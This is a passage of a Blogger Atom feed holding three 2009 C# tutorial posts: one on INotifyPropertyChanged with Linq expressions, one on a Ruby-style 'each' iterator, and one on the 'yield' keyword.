src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-524059883564032746</id><published>2009-03-29T12:48:00.000-07:00</published><updated>2009-03-29T13:36:55.028-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><category scheme="http://www.blogger.com/atom/ns#" term="Linq"/><category scheme="http://www.blogger.com/atom/ns#" term="WPF"/><title type='text'>Implementing INotifyPropertyChanged without hard-coded strings</title><content type='html'>If you are programming with the Windows Presentation Foundation you probably also use data binding and the &lt;span style=&quot;font-family:courier new;&quot;&gt;INotifyPropertyChanged &lt;/span&gt;interface. By implementing it, objects can notify controls about changed data. A typical implementation looks like this:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;using System.ComponentModel;&lt;br /&gt;&lt;br /&gt;public class NotifyPropertyExample : INotifyPropertyChanged&lt;br /&gt;{&lt;br /&gt;  public event PropertyChangedEventHandler PropertyChanged = delegate { };&lt;br /&gt;&lt;br /&gt;  internal void FireNotifyPropertyChanged(string propertyName)&lt;br /&gt;  {&lt;br /&gt;      this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName));&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  private string example;&lt;br /&gt;  public string Example&lt;br /&gt;  {&lt;br /&gt;      get { return this.example;  }&lt;br /&gt;      set&lt;br /&gt;      {&lt;br /&gt;          this.example = value;&lt;br /&gt;          FireNotifyPropertyChanged(&quot;Example&quot;);&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The interface &lt;span style=&quot;font-family:courier new;&quot;&gt;INotifyPropertyChanged &lt;/span&gt;defines a single event, which takes the name of the changed property as a parameter. In the example the event is fired in the setter method of the property, passing the name of the property as string.&lt;br /&gt;&lt;br /&gt;This works. But there are a few drawbacks here:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There is no auto-completion for the property name string. You have to type it.&lt;/li&gt;&lt;li&gt;The compiler cannot validate that you typed the string correctly.&lt;/li&gt;&lt;li&gt;Even during run-time a typo usually remains unnoticed. If you don&#39;t take special actions there are no exceptions thrown.&lt;/li&gt;&lt;li&gt;Code may break on refactorings. When you rename the property you have to take care the string is changed too.&lt;/li&gt;&lt;/ul&gt;Therefore implementing &lt;span style=&quot;font-family:courier new;&quot;&gt;INotifyPropertyChanged &lt;/span&gt;this way can lead bugs. Nasty bugs, as they are really hard to track down.&lt;br /&gt;&lt;br /&gt;So what to do instead?&lt;br /&gt;&lt;br /&gt;A common way to tackle this problem (see e.g. &lt;a href=&quot;http://blog.hightech.ir/2008/09/enhanced-inotifypropertychanged.html&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;http://themechanicalbride.blogspot.com/2007/03/symbols-on-steroids-in-c.html&quot;&gt;here&lt;/a&gt;) is to use Linq expressions. Here is what I do in my code:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;using System.ComponentModel;&lt;br /&gt;using System.Linq.Expressions;&lt;br /&gt;&lt;br /&gt;public class NotifyPropertyChangedBase : INotifyPropertyChanged&lt;br /&gt;{&lt;br /&gt;  public event PropertyChangedEventHandler PropertyChanged = delegate { };&lt;br /&gt;&lt;br /&gt;  internal void InternalFireNotifyPropertyChanged(string propertyName)&lt;br /&gt;  {&lt;br /&gt;      this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName));&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;public static class NotifyPropertyChangedBaseExtensions&lt;br /&gt;{&lt;br /&gt;  public static void FireNotifyPropertyChanged&amp;lt;T, R&amp;gt;(this T obj,&lt;br /&gt;      Expression&amp;lt;Func&amp;lt;T, R&amp;gt;&amp;gt; expr)&lt;br /&gt;      where T : NotifyPropertyChangedBase&lt;br /&gt;  {&lt;br /&gt;      obj.InternalFireNotifyPropertyChanged(((MemberExpression)expr.Body).Member.Name);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;First I create a base class that implements &lt;span style=&quot;font-family:courier new;&quot;&gt;INotifyPropertyChanged&lt;/span&gt;. Nothing special with that. The magic kicks in with the extension method &lt;span style=&quot;font-family:courier new;&quot;&gt;FireNotifyPropertyChanged&lt;/span&gt;. It extends &lt;span style=&quot;font-family:courier new;&quot;&gt;NotifyPropertyChangedBase &lt;/span&gt;or a derived class and takes a Linq expression as a parameter.&lt;br /&gt;&lt;br /&gt;This looks complicated but is straight forward to use. The example above can be rewritten as follows:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public class NotifyPropertyExample2 : NotifyPropertyChangedBase&lt;br /&gt;{&lt;br /&gt;  private string example;&lt;br /&gt;  public string Example&lt;br /&gt;  {&lt;br /&gt;      get { return this.example; }&lt;br /&gt;      set&lt;br /&gt;      {&lt;br /&gt;          this.example = value;&lt;br /&gt;          this.FireNotifyPropertyChanged(o =&amp;gt; o.Example);&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;FireNotifyPropertyChanged &lt;/span&gt;has to be implemented as an extension method (rather than doing it in the base class) as the expression has to use your derived class to know about its properties. This way also IntelliSense works nicely.&lt;br /&gt;&lt;br /&gt;Any disadvantages doing it this way? Yes, there is a small performance hit. An extra method call and building up the expression. So for objects whose updates are performance critical I would test if this is a problem. But for most use cases I would say that the advantages clearly weigh more heavily.</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/03/implementing-inotifypropertychanged.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/524059883564032746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/524059883564032746'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/03/implementing-inotifypropertychanged.html' title='Implementing INotifyPropertyChanged without hard-coded strings'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-8407848533573139552</id><published>2009-03-27T15:54:00.000-07:00</published><updated>2009-04-20T00:51:34.797-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><title type='text'>A C# implementation of the Ruby &#39;each&#39; iterator</title><content type='html'>If you ever had a look at Ruby you probably saw things like the following in one of the many tutorials:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: ruby&quot;&gt;&lt;br /&gt;s1 = 0&lt;br /&gt;(10...20).each { |x| s1 += x*x }&lt;br /&gt;puts s1&lt;br /&gt;&lt;br /&gt;s2 = 0&lt;br /&gt;[3, 7, 9].each { |x| s2 += x*x }&lt;br /&gt;puts s2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Really cool. First thing I loved straight away is the easy notation for ranges.&lt;br /&gt;And then, of course, there&#39;s the &lt;span style=&quot;font-family:courier new;&quot;&gt;each &lt;/span&gt;iterator which takes a block as parameter. Simply fantastic.&lt;br /&gt;&lt;br /&gt;As a software developer who uses C# for most of his tasks at the moment, I was jealous. But then I thought: why just not do the same thing in C#?&lt;br /&gt;&lt;br /&gt;Well, of course there is no fancy tripe-dot range notation is  C#. But we can do it like this:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;class Range&lt;br /&gt;{&lt;br /&gt;  public static IEnumerable&amp;lt;int&gt; FromTo(int from, int to)&lt;br /&gt;  {&lt;br /&gt;      int pos = from;&lt;br /&gt;      while (pos &amp;lt;= to)&lt;br /&gt;      {&lt;br /&gt;          yield return pos;&lt;br /&gt;          pos++;&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Pretty easy to do with the help of the &lt;a style=&quot;font-family: courier new;&quot; href=&quot;http://blog.andreaskahler.com/2009/03/using-yield-in-c.html&quot;&gt;yield&lt;/a&gt; keyword.&lt;br /&gt;OK, and what about &lt;span style=&quot;font-family:courier new;&quot;&gt;each&lt;/span&gt;? You can implement that using a extension method:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;static class IteratorExtensions&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  public static void Each&amp;lt;T&gt;(this IEnumerable&amp;lt;T&gt; enumerable, Action&amp;lt;T&gt; action)&lt;br /&gt;  {&lt;br /&gt;      foreach (var item in enumerable)&lt;br /&gt;      {&lt;br /&gt;          action(item);&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This defines a new method Each for &lt;span style=&quot;font-family:courier new;&quot;&gt;IEnumerable&lt;&gt;&lt;/span&gt; types. It takes a parameter of type &lt;span style=&quot;font-family:courier new;&quot;&gt;Action&lt;t&gt;&lt;/t&gt;&lt;/span&gt;, which is a void method with one parameter of type T. &lt;span style=&quot;font-family:courier new;&quot;&gt;Action&lt;t&gt;&lt;/t&gt;&lt;/span&gt; is defined in the System namespace.&lt;br /&gt;Now let&#39;s take &lt;span style=&quot;font-family:courier new;&quot;&gt;Range.FromTo&lt;/span&gt; and &lt;span style=&quot;font-family:courier new;&quot;&gt;Each&lt;/span&gt; together and we rewrite the above Ruby script in C#:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;&lt;br /&gt;int s1 = 0;&lt;br /&gt;Range.FromTo(10,20).Each(&lt;br /&gt;delegate(int x)&lt;br /&gt;{&lt;br /&gt;    s1 += x*x;&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hmm, that is nowhere near the simple notation of the Ruby script...&lt;br /&gt;But wait. Instead of using an anonymous method we also can used a lambda construct. Let&#39;s try it on the second part of the Ruby script:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;&lt;br /&gt;int s2 = 0;&lt;br /&gt;new[] { 3, 7, 9 }.Each(x =&gt; s2 += x*x);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Much better! Actually it almost looks like the Ruby script.&lt;br /&gt;Conclusion: Ruby is nice, but C# isn&#39;t too bad either... ;-)</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/03/c-implementation-of-ruby-each-iterator.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/8407848533573139552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/8407848533573139552'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/03/c-implementation-of-ruby-each-iterator.html' title='A C# implementation of the Ruby &#39;each&#39; iterator'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-5916912936199329791</id><published>2009-03-26T14:53:00.000-07:00</published><updated>2009-04-20T00:54:53.240-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><title type='text'>Using &#39;yield&#39; in C#</title><content type='html'>One nice feature of C# which I wasn&#39;t aware of for a long time (sometimes it would pay off to have read a proper C# book cover to cover....) is the &lt;span style=&quot;font-family:courier new;&quot;&gt;yield&lt;/span&gt; keyword. It is a very nice way to implement enumerators.&lt;br /&gt;&lt;br /&gt;Lets look at an example, which prints out the well known &lt;a href=&quot;http://en.wikipedia.org/wiki/Fibonacci_number&quot;&gt;Fibonacci&lt;/a&gt; numbers up to 1000:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;class Fibonacci&lt;br /&gt;{&lt;br /&gt;    public static IEnumerable&amp;lt;int&amp;gt; GetUpTo(int max)&lt;br /&gt;    {&lt;br /&gt;        int a = 0;&lt;br /&gt;        int b = 1;&lt;br /&gt;&lt;br /&gt;        yield return a;&lt;br /&gt;        yield return b;&lt;br /&gt;&lt;br /&gt;        while (true)&lt;br /&gt;        {&lt;br /&gt;            int next = a + b;&lt;br /&gt;&lt;br /&gt;            if (next &amp;gt;= max)&lt;br /&gt;                yield break;&lt;br /&gt;&lt;br /&gt;            yield return next;&lt;br /&gt;            a = b;&lt;br /&gt;            b = next;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    static void Main()&lt;br /&gt;    {&lt;br /&gt;        foreach (var x in Fibonacci.GetUpTo(1000))&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(x);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;yield &lt;/span&gt;can be used only as &lt;span style=&quot;font-family:courier new;&quot;&gt;yield return&lt;/span&gt; (which adds a new item to the enumeration) and &lt;span style=&quot;font-family:courier new;&quot;&gt;yield break&lt;/span&gt;, which stops the enumeration. &lt;br /&gt;&lt;br /&gt;The example could also be written without &lt;span style=&quot;font-family:courier new;&quot;&gt;yield break&lt;/span&gt; which makes it a bit nicer:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;    public static IEnumerable&amp;lt;int&amp;gt; GetUpTo(int max)&lt;br /&gt;    {&lt;br /&gt;        int a = 0;&lt;br /&gt;        int b = 1;&lt;br /&gt;&lt;br /&gt;        yield return a;&lt;br /&gt;&lt;br /&gt;        while (b &amp;lt; max)&lt;br /&gt;        {&lt;br /&gt;            yield return b;&lt;br /&gt;            &lt;br /&gt;            int next = a + b;&lt;br /&gt;            a = b;&lt;br /&gt;            b = next;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Without &lt;span style=&quot;font-family:courier new;&quot;&gt;yield &lt;/span&gt;one would need to write a class to implement the iterator and maintain the loop state from one call to the next. Much nicer with &lt;span style=&quot;font-family:courier new;&quot;&gt;yield&lt;/span&gt;. Okay, for this example you wouldn&#39;t really need an iterator in the first place but I hope the point came across...</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/03/using-yield-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/5916912936199329791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/5916912936199329791'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/03/using-yield-in-c.html' title='Using &#39;yield&#39; in C#'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry></feed>